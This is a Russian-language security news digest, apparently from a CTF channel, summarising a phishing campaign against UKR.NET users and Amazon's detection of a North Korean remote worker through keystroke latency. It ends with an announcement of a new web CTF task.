В ход шли десятки цепочек фишинга с поддельными страницами входа на UKR[.]NET, размещёнными через Mocky API и бесплатный хостинг, а также короткие ссылки и обратные прокси для маскировки инфраструктуры. Сайты выглядели как реально работающие формы входа и собирали:
– логины и пароли
– коды двухфакторной аутентификации
– IP-адреса жертв
Кроме стандартного фишинга, злоумышленники использовали PDF-файлы, замаскированные под уведомления о подозрительной активности — внутри был «красивая» ссылка для смены пароля, которая вела на фейковую страницу.
Источник

🥷 Привет из КНДР
В Amazon вычислили северокорейца, который устроился к ним удалёнщиком сисадмином, выдавая себя за сотрудника из США. Его выдали не документы и не собес, нет. Задержка нажатий клавиш на клавиатуре. Да, вот так.
Служба безопасности заметила, что лаг между нажатием клавиши и получением сигнала был слишком большим — больше 110 миллисекунд. Для обычного удалённого работника из США это нехарактерно: такие задержки указывают, что ноутбук используется как прокси, а реальное управление идёт откуда-то ещё. Проверка показала, что устройство физически находилось в Аризоне, но управлялось удалённо операторами из Северной Кореи.
Подобные случаи не редкость. С апреля 2024 года компания пресекла более 1800 попыток трудоустройства северокорейских IT-специалистов под чужими личностями, и их число продолжает расти. Цель таких схем — зарабатывать валюту для КНДР, а иногда и заниматься шпионажем или саботажем. Поэтому их и ищут.
Источник

На этом новости — всё. Хорошей вам завершающей полной недели в этом году! Встретимся в следующее воскресенье!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #12

Предновогодний релиз, со всеми вытекающими — закончить и протестировать успели только одну задачу. Но самая сложная и суетная пора подходит к концу, 25й год уже на финишной прямой.
Следующий релиз так же будет на пару задачек, пока все, в том числе и команда БАГодельни, отдыхают и празднуют НГ.
После каникул продолжим во всю силу — собирать пачки задач размером побольше.

Одна новая задача доступна на площадке!

🔴 Web / Дуглас Муглис


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи